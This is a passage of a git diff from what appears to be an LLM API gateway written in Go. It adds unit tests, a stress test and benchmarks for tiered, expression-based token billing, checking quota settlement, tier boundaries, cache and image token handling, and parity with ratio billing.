+	if snap == nil || snap.BillingMode != "tiered_expr" {
+		return false, 0, nil
+	}
+
+	requestInput := billingexpr.RequestInput{}
+	if relayInfo.BillingRequestInput != nil {
+		requestInput = *relayInfo.BillingRequestInput
+	}
+
+	tr, err := billingexpr.ComputeTieredQuotaWithRequest(snap, params, requestInput)
+	if err != nil {
+		quota = relayInfo.FinalPreConsumedQuota
+		if quota <= 0 {
+			quota = snap.EstimatedQuotaAfterGroup
+		}
+		return true, quota, nil
+	}
+
+	return true, tr.ActualQuotaAfterGroup, &tr
+}
diff --git a/new-api/service/tiered_settle_test.go b/new-api/service/tiered_settle_test.go
new file mode 100644
index 0000000..cb6676f
--- /dev/null
+++ b/new-api/service/tiered_settle_test.go
@@ -0,0 +1,830 @@
+package service
+
+import (
+	"math"
+	"math/rand"
+	"sync"
+	"testing"
+
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/pkg/billingexpr"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/shopspring/decimal"
+)
+
+// Claude Sonnet-style tiered expression: standard vs long-context
+const sonnetTieredExpr = `p <= 200000 ? tier("standard", p * 1.5 + c * 7.5) : tier("long_context", p * 3 + c * 11.25)`
+
+// Simple flat expression
+const flatExpr = `tier("default", p * 2 + c * 10)`
+
+// Expression with cache tokens
+const cacheExpr = `tier("default", p * 2 + c * 10 + cr * 0.2 + cc * 2.5 + cc1h * 4)`
+
+// Expression with request probes
+const probeExpr = `param("service_tier") == "fast" ? tier("fast", p * 4 + c * 20) : tier("normal", p * 2 + c * 10)`
+
+const testQuotaPerUnit = 500_000.0
+
+func makeSnapshot(expr string, groupRatio float64, estPrompt, estCompletion int) *billingexpr.BillingSnapshot {
+	return &billingexpr.BillingSnapshot{
+		BillingMode:               "tiered_expr",
+		ExprString:                expr,
+		ExprHash:                  billingexpr.ExprHashString(expr),
+		GroupRatio:                groupRatio,
+		EstimatedPromptTokens:     estPrompt,
+		EstimatedCompletionTokens: estCompletion,
+		QuotaPerUnit:              testQuotaPerUnit,
+	}
+}
+
+func makeRelayInfo(expr string, groupRatio float64, estPrompt, estCompletion int) *relaycommon.RelayInfo {
+	snap := makeSnapshot(expr, groupRatio, estPrompt, estCompletion)
+	cost, trace, _ := billingexpr.RunExpr(expr, billingexpr.TokenParams{P: float64(estPrompt), C: float64(estCompletion)})
+	quotaBeforeGroup := cost / 1_000_000 * testQuotaPerUnit
+	snap.EstimatedQuotaBeforeGroup = quotaBeforeGroup
+	snap.EstimatedQuotaAfterGroup = billingexpr.QuotaRound(quotaBeforeGroup * groupRatio)
+	snap.EstimatedTier = trace.MatchedTier
+	return &relaycommon.RelayInfo{
+		TieredBillingSnapshot: snap,
+		FinalPreConsumedQuota: snap.EstimatedQuotaAfterGroup,
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Existing tests (preserved)
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettleUsesFrozenRequestInput(t *testing.T) {
+	exprStr := `param("service_tier") == "fast" ? tier("fast", p * 2) : tier("normal", p)`
+	relayInfo := &relaycommon.RelayInfo{
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:               "tiered_expr",
+			ExprString:                exprStr,
+			ExprHash:                  billingexpr.ExprHashString(exprStr),
+			GroupRatio:                1.0,
+			EstimatedPromptTokens:     100,
+			EstimatedCompletionTokens: 0,
+			EstimatedQuotaAfterGroup:  50,
+			QuotaPerUnit:              testQuotaPerUnit,
+		},
+		BillingRequestInput: &billingexpr.RequestInput{
+			Body: []byte(`{"service_tier":"fast"}`),
+		},
+	}
+
+	ok, quota, result := TryTieredSettle(relayInfo, billingexpr.TokenParams{P: 100})
+	if !ok {
+		t.Fatal("expected tiered settle to apply")
+	}
+	// fast: p*2 = 200; quota = 200 / 1M * 500K = 100
+	if quota != 100 {
+		t.Fatalf("quota = %d, want 100", quota)
+	}
+	if result == nil || result.MatchedTier != "fast" {
+		t.Fatalf("matched tier = %v, want fast", result)
+	}
+}
+
+func TestTryTieredSettleFallsBackToFrozenPreConsumeOnExprError(t *testing.T) {
+	relayInfo := &relaycommon.RelayInfo{
+		FinalPreConsumedQuota: 321,
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:              "tiered_expr",
+			ExprString:               `invalid +-+ expr`,
+			ExprHash:                 billingexpr.ExprHashString(`invalid +-+ expr`),
+			GroupRatio:               1.0,
+			EstimatedQuotaAfterGroup: 123,
+		},
+	}
+
+	ok, quota, result := TryTieredSettle(relayInfo, billingexpr.TokenParams{P: 100})
+	if !ok {
+		t.Fatal("expected tiered settle to apply")
+	}
+	if quota != 321 {
+		t.Fatalf("quota = %d, want 321", quota)
+	}
+	if result != nil {
+		t.Fatalf("result = %#v, want nil", result)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Pre-consume vs Post-consume consistency
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettle_PreConsumeMatchesPostConsume(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 1.0, 1000, 500)
+	params := billingexpr.TokenParams{P: 1000, C: 500}
+
+	ok, quota, _ := TryTieredSettle(info, params)
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// p*2 + c*10 = 7000; quota = 7000 / 1M * 500K = 3500
+	if quota != 3500 {
+		t.Fatalf("quota = %d, want 3500", quota)
+	}
+	if quota != info.FinalPreConsumedQuota {
+		t.Fatalf("pre-consume %d != post-consume %d", info.FinalPreConsumedQuota, quota)
+	}
+}
+
+func TestTryTieredSettle_PostConsumeOverPreConsume(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 1.0, 1000, 500)
+	preConsumed := info.FinalPreConsumedQuota // 3500
+
+	// Actual usage is higher than estimated
+	params := billingexpr.TokenParams{P: 2000, C: 1000}
+	ok, quota, _ := TryTieredSettle(info, params)
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// p*2 + c*10 = 14000; quota = 14000 / 1M * 500K = 7000
+	if quota != 7000 {
+		t.Fatalf("quota = %d, want 7000", quota)
+	}
+	if quota <= preConsumed {
+		t.Fatalf("expected supplement: actual %d should > pre-consumed %d", quota, preConsumed)
+	}
+}
+
+func TestTryTieredSettle_PostConsumeUnderPreConsume(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 1.0, 1000, 500)
+	preConsumed := info.FinalPreConsumedQuota // 3500
+
+	// Actual usage is lower than estimated
+	params := billingexpr.TokenParams{P: 100, C: 50}
+	ok, quota, _ := TryTieredSettle(info, params)
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// p*2 + c*10 = 700; quota = 700 / 1M * 500K = 350
+	if quota != 350 {
+		t.Fatalf("quota = %d, want 350", quota)
+	}
+	if quota >= preConsumed {
+		t.Fatalf("expected refund: actual %d should < pre-consumed %d", quota, preConsumed)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Tiered boundary conditions
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettle_ExactBoundary(t *testing.T) {
+	info := makeRelayInfo(sonnetTieredExpr, 1.0, 200000, 1000)
+
+	// p == 200000 => standard tier (p <= 200000)
+	ok, quota, result := TryTieredSettle(info, billingexpr.TokenParams{P: 200000, C: 1000})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// standard: p*1.5 + c*7.5 = 307500; quota = 307500 / 1M * 500K = 153750
+	if quota != 153750 {
+		t.Fatalf("quota = %d, want 153750", quota)
+	}
+	if result.MatchedTier != "standard" {
+		t.Fatalf("tier = %s, want standard", result.MatchedTier)
+	}
+}
+
+func TestTryTieredSettle_BoundaryPlusOne(t *testing.T) {
+	info := makeRelayInfo(sonnetTieredExpr, 1.0, 200000, 1000)
+
+	// p == 200001 => crosses to long_context tier
+	ok, quota, result := TryTieredSettle(info, billingexpr.TokenParams{P: 200001, C: 1000})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// long_context: p*3 + c*11.25 = 611253; quota = round(611253 / 1M * 500K) = 305627
+	if quota != 305627 {
+		t.Fatalf("quota = %d, want 305627", quota)
+	}
+	if result.MatchedTier != "long_context" {
+		t.Fatalf("tier = %s, want long_context", result.MatchedTier)
+	}
+	if !result.CrossedTier {
+		t.Fatal("expected CrossedTier = true")
+	}
+}
+
+func TestTryTieredSettle_ZeroTokens(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 1.0, 0, 0)
+
+	ok, quota, result := TryTieredSettle(info, billingexpr.TokenParams{P: 0, C: 0})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	if quota != 0 {
+		t.Fatalf("quota = %d, want 0", quota)
+	}
+	if result == nil {
+		t.Fatal("result should not be nil")
+	}
+}
+
+func TestTryTieredSettle_HugeTokens(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 1.0, 10000000, 5000000)
+
+	ok, quota, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 10000000, C: 5000000})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// p*2 + c*10 = 70000000; quota = 70000000 / 1M * 500K = 35000000
+	if quota != 35000000 {
+		t.Fatalf("quota = %d, want 35000000", quota)
+	}
+}
+
+func TestTryTieredSettle_CacheTokensAffectSettlement(t *testing.T) {
+	info := makeRelayInfo(cacheExpr, 1.0, 1000, 500)
+
+	// Without cache tokens
+	ok1, quota1, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if !ok1 {
+		t.Fatal("expected tiered settle")
+	}
+	// p*2 + c*10 = 7000; quota = 7000 / 1M * 500K = 3500
+
+	// With cache tokens
+	ok2, quota2, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500, CR: 10000, CC: 5000, CC1h: 2000})
+	if !ok2 {
+		t.Fatal("expected tiered settle")
+	}
+	// 2000 + 5000 + 2000 + 12500 + 8000 = 29500; quota = 29500 / 1M * 500K = 14750
+
+	if quota2 <= quota1 {
+		t.Fatalf("cache tokens should increase quota: without=%d, with=%d", quota1, quota2)
+	}
+	if quota1 != 3500 {
+		t.Fatalf("no-cache quota = %d, want 3500", quota1)
+	}
+	if quota2 != 14750 {
+		t.Fatalf("cache quota = %d, want 14750", quota2)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Request probe tests
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettle_RequestProbeInfluencesBilling(t *testing.T) {
+	info := makeRelayInfo(probeExpr, 1.0, 1000, 500)
+	info.BillingRequestInput = &billingexpr.RequestInput{
+		Body: []byte(`{"service_tier":"fast"}`),
+	}
+
+	ok, quota, result := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// fast: p*4 + c*20 = 14000; quota = 14000 / 1M * 500K = 7000
+	if quota != 7000 {
+		t.Fatalf("quota = %d, want 7000", quota)
+	}
+	if result.MatchedTier != "fast" {
+		t.Fatalf("tier = %s, want fast", result.MatchedTier)
+	}
+}
+
+func TestTryTieredSettle_NoRequestInput_FallsBackToDefault(t *testing.T) {
+	info := makeRelayInfo(probeExpr, 1.0, 1000, 500)
+	// No BillingRequestInput set — param("service_tier") returns nil, not "fast"
+
+	ok, quota, result := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// normal: p*2 + c*10 = 7000; quota = 7000 / 1M * 500K = 3500
+	if quota != 3500 {
+		t.Fatalf("quota = %d, want 3500", quota)
+	}
+	if result.MatchedTier != "normal" {
+		t.Fatalf("tier = %s, want normal", result.MatchedTier)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Group ratio tests
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettle_GroupRatioScaling(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 1.5, 1000, 500)
+
+	ok, quota, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	// exprCost = 7000, quotaBeforeGroup = 3500, afterGroup = round(3500 * 1.5) = 5250
+	if quota != 5250 {
+		t.Fatalf("quota = %d, want 5250", quota)
+	}
+}
+
+func TestTryTieredSettle_GroupRatioZero(t *testing.T) {
+	info := makeRelayInfo(flatExpr, 0, 1000, 500)
+
+	ok, quota, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if !ok {
+		t.Fatal("expected tiered settle")
+	}
+	if quota != 0 {
+		t.Fatalf("quota = %d, want 0 (group ratio = 0)", quota)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Ratio mode (negative tests) — TryTieredSettle must return false
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettle_RatioMode_NilSnapshot(t *testing.T) {
+	info := &relaycommon.RelayInfo{
+		TieredBillingSnapshot: nil,
+	}
+
+	ok, _, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if ok {
+		t.Fatal("expected TryTieredSettle to return false when snapshot is nil")
+	}
+}
+
+func TestTryTieredSettle_RatioMode_WrongBillingMode(t *testing.T) {
+	info := &relaycommon.RelayInfo{
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode: "ratio",
+			ExprString:  flatExpr,
+			ExprHash:    billingexpr.ExprHashString(flatExpr),
+			GroupRatio:  1.0,
+		},
+	}
+
+	ok, _, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if ok {
+		t.Fatal("expected TryTieredSettle to return false for ratio billing mode")
+	}
+}
+
+func TestTryTieredSettle_RatioMode_EmptyBillingMode(t *testing.T) {
+	info := &relaycommon.RelayInfo{
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode: "",
+			ExprString:  flatExpr,
+			ExprHash:    billingexpr.ExprHashString(flatExpr),
+			GroupRatio:  1.0,
+		},
+	}
+
+	ok, _, _ := TryTieredSettle(info, billingexpr.TokenParams{P: 1000, C: 500})
+	if ok {
+		t.Fatal("expected TryTieredSettle to return false for empty billing mode")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Fallback tests
+// ---------------------------------------------------------------------------
+
+func TestTryTieredSettle_ErrorFallbackToEstimatedQuotaAfterGroup(t *testing.T) {
+	info := &relaycommon.RelayInfo{
+		FinalPreConsumedQuota: 0,
+		TieredBillingSnapshot: &billingexpr.BillingSnapshot{
+			BillingMode:              "tiered_expr",
+			ExprString:               `invalid expr!!!`,
+			ExprHash:                 billingexpr.ExprHashString(`invalid expr!!!`),
+			GroupRatio:               1.0,
+			EstimatedQuotaAfterGroup: 999,
+		},
+	}
+
+	ok, quota, result := TryTieredSettle(info, billingexpr.TokenParams{P: 100})
+	if !ok {
+		t.Fatal("expected tiered settle to apply")
+	}
+	// FinalPreConsumedQuota is 0, should fall back to EstimatedQuotaAfterGroup
+	if quota != 999 {
+		t.Fatalf("quota = %d, want 999", quota)
+	}
+	if result != nil {
+		t.Fatal("result should be nil on error fallback")
+	}
+}
+
+// ---------------------------------------------------------------------------
+// BuildTieredTokenParams: token normalization and ratio parity tests
+// ---------------------------------------------------------------------------
+
+func tieredQuota(exprStr string, usage *dto.Usage, isClaudeSemantic bool, groupRatio float64) float64 {
+	usedVars := billingexpr.UsedVars(exprStr)
+	params := BuildTieredTokenParams(usage, isClaudeSemantic, usedVars)
+	cost, _, _ := billingexpr.RunExpr(exprStr, params)
+	return cost / 1_000_000 * testQuotaPerUnit * groupRatio
+}
+
+func ratioQuota(usage *dto.Usage, isClaudeSemantic bool, modelRatio, completionRatio, cacheRatio, imageRatio, groupRatio float64) float64 {
+	dPromptTokens := decimal.NewFromInt(int64(usage.PromptTokens))
+	dCacheTokens := decimal.NewFromInt(int64(usage.PromptTokensDetails.CachedTokens))
+	dCcTokens := decimal.NewFromInt(int64(usage.PromptTokensDetails.CachedCreationTokens))
+	dImgTokens := decimal.NewFromInt(int64(usage.PromptTokensDetails.ImageTokens))
+	dCompletionTokens := decimal.NewFromInt(int64(usage.CompletionTokens))
+	dModelRatio := decimal.NewFromFloat(modelRatio)
+	dCompletionRatio := decimal.NewFromFloat(completionRatio)
+	dCacheRatio := decimal.NewFromFloat(cacheRatio)
+	dImageRatio := decimal.NewFromFloat(imageRatio)
+	dGroupRatio := decimal.NewFromFloat(groupRatio)
+
+	baseTokens := dPromptTokens
+	if !isClaudeSemantic {
+		baseTokens = baseTokens.Sub(dCacheTokens)
+		baseTokens = baseTokens.Sub(dCcTokens)
+		baseTokens = baseTokens.Sub(dImgTokens)
+	}
+
+	cachedTokensWithRatio := dCacheTokens.Mul(dCacheRatio)
+	imageTokensWithRatio := dImgTokens.Mul(dImageRatio)
+	promptQuota := baseTokens.Add(cachedTokensWithRatio).Add(imageTokensWithRatio)
+	completionQuota := dCompletionTokens.Mul(dCompletionRatio)
+	ratio := dModelRatio.Mul(dGroupRatio)
+
+	result := promptQuota.Add(completionQuota).Mul(ratio)
+	f, _ := result.Float64()
+	return f
+}
+
+func TestBuildTieredTokenParams_GPT_WithCache(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 500,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 200,
+			TextTokens:   800,
+		},
+	}
+	expr := `tier("base", p * 2.5 + c * 15 + cr * 0.25)`
+	got := tieredQuota(expr, usage, false, 1.0)
+	// P=800, C=500, CR=200 → (800*2.5 + 500*15 + 200*0.25) * 0.5 = 4775
+	want := 4775.0
+	if math.Abs(got-want) > 0.01 {
+		t.Fatalf("quota = %f, want %f", got, want)
+	}
+}
+
+func TestBuildTieredTokenParams_GPT_NoCacheVar(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 500,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 200,
+			TextTokens:   800,
+		},
+	}
+	expr := `tier("base", p * 2.5 + c * 15)`
+	got := tieredQuota(expr, usage, false, 1.0)
+	// No cr → P=1000 (cache stays in P), C=500 → (1000*2.5 + 500*15) * 0.5 = 5000
+	want := 5000.0
+	if math.Abs(got-want) > 0.01 {
+		t.Fatalf("quota = %f, want %f", got, want)
+	}
+}
+
+func TestBuildTieredTokenParams_GPT_WithImage(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 500,
+		PromptTokensDetails: dto.InputTokenDetails{
+			ImageTokens: 200,
+			TextTokens:  800,
+		},
+	}
+	expr := `tier("base", p * 2 + c * 8 + img * 2.5)`
+	got := tieredQuota(expr, usage, false, 1.0)
+	// P=800, C=500, Img=200 → (800*2 + 500*8 + 200*2.5) * 0.5 = 3050
+	want := 3050.0
+	if math.Abs(got-want) > 0.01 {
+		t.Fatalf("quota = %f, want %f", got, want)
+	}
+}
+
+func TestBuildTieredTokenParams_Claude_WithCache(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     800,
+		CompletionTokens: 500,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 200,
+			TextTokens:   800,
+		},
+	}
+	expr := `tier("base", p * 3 + c * 15 + cr * 0.3)`
+	got := tieredQuota(expr, usage, true, 1.0)
+	// Claude: P=800 (no subtraction), C=500, CR=200 → (800*3 + 500*15 + 200*0.3) * 0.5 = 4980
+	want := 4980.0
+	if math.Abs(got-want) > 0.01 {
+		t.Fatalf("quota = %f, want %f", got, want)
+	}
+}
+
+func TestBuildTieredTokenParams_GPT_AudioOutput(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 600,
+		CompletionTokenDetails: dto.OutputTokenDetails{
+			AudioTokens: 100,
+			TextTokens:  500,
+		},
+	}
+	expr := `tier("base", p * 2 + c * 10 + ao * 50)`
+	got := tieredQuota(expr, usage, false, 1.0)
+	// C=600-100=500, AO=100 → (1000*2 + 500*10 + 100*50) * 0.5 = 6000
+	want := 6000.0
+	if math.Abs(got-want) > 0.01 {
+		t.Fatalf("quota = %f, want %f", got, want)
+	}
+}
+
+func TestBuildTieredTokenParams_GPT_AudioOutputNoVar(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     1000,
+		CompletionTokens: 600,
+		CompletionTokenDetails: dto.OutputTokenDetails{
+			AudioTokens: 100,
+			TextTokens:  500,
+		},
+	}
+	expr := `tier("base", p * 2 + c * 10)`
+	got := tieredQuota(expr, usage, false, 1.0)
+	// No ao → C=600 (audio stays in C) → (1000*2 + 600*10) * 0.5 = 4000
+	want := 4000.0
+	if math.Abs(got-want) > 0.01 {
+		t.Fatalf("quota = %f, want %f", got, want)
+	}
+}
+
+func TestBuildTieredTokenParams_ParityWithRatio(t *testing.T) {
+	// GPT-5.4 prices: input=$2.5, output=$15, cacheRead=$0.25
+	// Ratio equivalents: modelRatio=1.25, completionRatio=6, cacheRatio=0.1
+	usage := &dto.Usage{
+		PromptTokens:     10000,
+		CompletionTokens: 2000,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 3000,
+			TextTokens:   7000,
+		},
+	}
+	expr := `tier("base", p * 2.5 + c * 15 + cr * 0.25)`
+
+	for _, gr := range []float64{1.0, 1.5, 2.0, 0.5} {
+		tq := tieredQuota(expr, usage, false, gr)
+		rq := ratioQuota(usage, false, 1.25, 6, 0.1, 0, gr)
+
+		if math.Abs(tq-rq) > 0.01 {
+			t.Fatalf("groupRatio=%v: tiered=%f ratio=%f (mismatch)", gr, tq, rq)
+		}
+	}
+}
+
+func TestBuildTieredTokenParams_ParityWithRatio_Image(t *testing.T) {
+	// gpt-image-1-mini prices: input=$2, output=$8, image=$2.5
+	// Ratio equivalents: modelRatio=1, completionRatio=4, imageRatio=1.25
+	usage := &dto.Usage{
+		PromptTokens:     5000,
+		CompletionTokens: 4000,
+		PromptTokensDetails: dto.InputTokenDetails{
+			ImageTokens: 1000,
+			TextTokens:  4000,
+		},
+	}
+	expr := `tier("base", p * 2 + c * 8 + img * 2.5)`
+
+	tq := tieredQuota(expr, usage, false, 1.0)
+	rq := ratioQuota(usage, false, 1.0, 4, 0, 1.25, 1.0)
+
+	if math.Abs(tq-rq) > 0.01 {
+		t.Fatalf("tiered=%f ratio=%f (mismatch)", tq, rq)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// BuildTieredTokenParams: Len computation tests
+// ---------------------------------------------------------------------------
+
+func TestBuildTieredTokenParams_Len_GPT(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     10000,
+		CompletionTokens: 2000,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 3000,
+			TextTokens:   7000,
+		},
+	}
+	expr := `tier("base", p * 2.5 + c * 15 + cr * 0.25)`
+	usedVars := billingexpr.UsedVars(expr)
+	params := BuildTieredTokenParams(usage, false, usedVars)
+
+	// Non-Claude: Len = raw PromptTokens
+	if params.Len != 10000 {
+		t.Fatalf("Len = %f, want 10000 (raw PromptTokens)", params.Len)
+	}
+	// P should be reduced by cache
+	if params.P != 7000 {
+		t.Fatalf("P = %f, want 7000 (PromptTokens - CachedTokens)", params.P)
+	}
+}
+
+func TestBuildTieredTokenParams_Len_Claude(t *testing.T) {
+	usage := &dto.Usage{
+		PromptTokens:     5000,
+		CompletionTokens: 2000,
+		UsageSemantic:    "anthropic",
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 3000,
+			TextTokens:   5000,
+		},
+		ClaudeCacheCreation5mTokens: 1000,
+		ClaudeCacheCreation1hTokens: 500,
+	}
+	expr := `tier("base", p * 3 + c * 15 + cr * 0.3 + cc * 3.75 + cc1h * 6)`
+	usedVars := billingexpr.UsedVars(expr)
+	params := BuildTieredTokenParams(usage, true, usedVars)
+
+	// Claude: Len = PromptTokens + CachedTokens + CacheCreation5m + CacheCreation1h
+	wantLen := float64(5000 + 3000 + 1000 + 500)
+	if params.Len != wantLen {
+		t.Fatalf("Len = %f, want %f (text + cache read + cache creation)", params.Len, wantLen)
+	}
+	// Claude: P is not reduced (isClaudeUsageSemantic = true)
+	if params.P != 5000 {
+		t.Fatalf("P = %f, want 5000 (no subtraction for Claude)", params.P)
+	}
+}
+
+func TestBuildTieredTokenParams_Len_TierCondition(t *testing.T) {
+	// Test that len-based tier conditions work correctly when p is reduced by cache
+	usage := &dto.Usage{
+		PromptTokens:     300000,
+		CompletionTokens: 5000,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens: 250000,
+			TextTokens:   50000,
+		},
+	}
+	expr := `len <= 200000 ? tier("standard", p * 3 + c * 15 + cr * 0.3) : tier("long_context", p * 6 + c * 22.5 + cr * 0.6)`
+	usedVars := billingexpr.UsedVars(expr)
+	params := BuildTieredTokenParams(usage, false, usedVars)
+
+	// Len = 300000 (raw prompt), P = 50000 (300000 - 250000 cache)
+	if params.Len != 300000 {
+		t.Fatalf("Len = %f, want 300000", params.Len)
+	}
+	if params.P != 50000 {
+		t.Fatalf("P = %f, want 50000", params.P)
+	}
+
+	// Run expression: len=300000 > 200000, so long_context tier
+	cost, trace, err := billingexpr.RunExpr(expr, params)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if trace.MatchedTier != "long_context" {
+		t.Fatalf("tier = %s, want long_context (len=300000 but p=50000)", trace.MatchedTier)
+	}
+	// long_context: 50000*6 + 5000*22.5 + 250000*0.6
+	wantCost := 50000.0*6 + 5000*22.5 + 250000*0.6
+	if math.Abs(cost-wantCost) > 1e-6 {
+		t.Fatalf("cost = %f, want %f", cost, wantCost)
+	}
+}
+
+// ---------------------------------------------------------------------------
+// Stress test: 1000 concurrent goroutines, complex tiered expr vs ratio,
+// random token counts, verify correctness and measure performance
+// ---------------------------------------------------------------------------
+
+const complexTieredExpr = `p <= 200000 ? tier("standard", p * 3 + c * 15 + cr * 0.3 + cc * 3.75 + cc1h * 6 + img * 3 + img_o * 30 + ai * 10 + ao * 40) : tier("long_context", p * 6 + c * 22.5 + cr * 0.6 + cc * 7.5 + cc1h * 12 + img * 6 + img_o * 60 + ai * 20 + ao * 80)`
+
+func randomUsage(rng *rand.Rand) *dto.Usage {
+	cacheRead := int(rng.Float64() * 50000)
+	cacheCreate := int(rng.Float64() * 10000)
+	imgIn := int(rng.Float64() * 5000)
+	audioIn := int(rng.Float64() * 3000)
+	prompt := int(rng.Float64()*300000) + cacheRead + cacheCreate + imgIn + audioIn
+
+	imgOut := int(rng.Float64() * 2000)
+	audioOut := int(rng.Float64() * 1000)
+	completion := int(rng.Float64()*50000) + imgOut + audioOut
+
+	return &dto.Usage{
+		PromptTokens:     prompt,
+		CompletionTokens: completion,
+		PromptTokensDetails: dto.InputTokenDetails{
+			CachedTokens:         cacheRead,
+			CachedCreationTokens: cacheCreate,
+			ImageTokens:          imgIn,
+			AudioTokens:          audioIn,
+			TextTokens:           prompt - cacheRead - cacheCreate - imgIn - audioIn,
+		},
+		CompletionTokenDetails: dto.OutputTokenDetails{
+			ImageTokens: imgOut,
+			AudioTokens: audioOut,
+			TextTokens:  completion - imgOut - audioOut,
+		},
+	}
+}
+
+func TestStress_TieredBilling_1000Concurrent(t *testing.T) {
+	usedVars := billingexpr.UsedVars(complexTieredExpr)
+
+	var wg sync.WaitGroup
+	errCh := make(chan string, 1000)
+
+	for i := 0; i < 1000; i++ {
+		wg.Add(1)
+		go func(seed int64) {
+			defer wg.Done()
+			rng := rand.New(rand.NewSource(seed))
+
+			for j := 0; j < 100; j++ {
+				usage := randomUsage(rng)
+				groupRatio := 0.5 + rng.Float64()*2.0
+
+				params := BuildTieredTokenParams(usage, false, usedVars)
+				cost, trace, err := billingexpr.RunExpr(complexTieredExpr, params)
+				if err != nil {
+					errCh <- err.Error()
+					return
+				}
+				if cost < 0 {
+					errCh <- "negative cost"
+					return
+				}
+
+				quota := billingexpr.QuotaRound(cost / 1_000_000 * testQuotaPerUnit * groupRatio)
+				if quota < 0 {
+					errCh <- "negative quota"
+					return
+				}
+
+				_ = trace.MatchedTier
+			}
+		}(int64(i))
+	}
+
+	wg.Wait()
+	close(errCh)
+	for e := range errCh {
+		t.Fatal(e)
+	}
+}
+
+func BenchmarkTieredBilling_ComplexExpr(b *testing.B) {
+	rng := rand.New(rand.NewSource(42))
+	usedVars := billingexpr.UsedVars(complexTieredExpr)
+	usages := make([]*dto.Usage, 1000)
+	for i := range usages {
+		usages[i] = randomUsage(rng)
+	}
+
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		usage := usages[i%len(usages)]
+		params := BuildTieredTokenParams(usage, false, usedVars)
+		billingexpr.RunExpr(complexTieredExpr, params)
+	}
+}
+
+func BenchmarkRatioBilling_Equivalent(b *testing.B) {
+	rng := rand.New(rand.NewSource(42))
+	usages := make([]*dto.Usage, 1000)
+	for i := range usages {
+		usages[i] = randomUsage(rng)
+	}
+
+	b.ResetTimer()
+	for i := 0; i < b.N; i++ {
+		usage := usages[i%len(usages)]
+		ratioQuota(usage, false, 1.5, 5.0, 0.1, 1.0, 1.5)
+	}
+}
+
+func BenchmarkTieredBilling_Parallel(b *testing.B) {
+	usedVars := billingexpr.UsedVars(complexTieredExpr)
+
+	b.RunParallel(func(pb *testing.PB) {
+		rng := rand.New(rand.NewSource(rand.Int63()))
+		for pb.Next() {
+			usage := randomUsage(rng)
+			params := BuildTieredTokenParams(usage, false, usedVars)
+			billingexpr.RunExpr(complexTieredExpr, params)
+		}
+	})
+}
+
+func BenchmarkRatioBilling_Parallel(b *testing.B) {
+	b.RunParallel(func(pb *testing.PB) {
+		rng := rand.New(rand.NewSource(rand.Int63()))
+		for pb.Next() {
+			usage := randomUsage(rng)
+			ratioQuota(usage, false, 1.5, 5.0, 0.1, 1.0, 1.5)
+		}
+	})
+}
diff --git a/new-api/service/token_counter.go b/new-api/service/token_counter.go
new file mode 100644
index 0000000..63b76d9
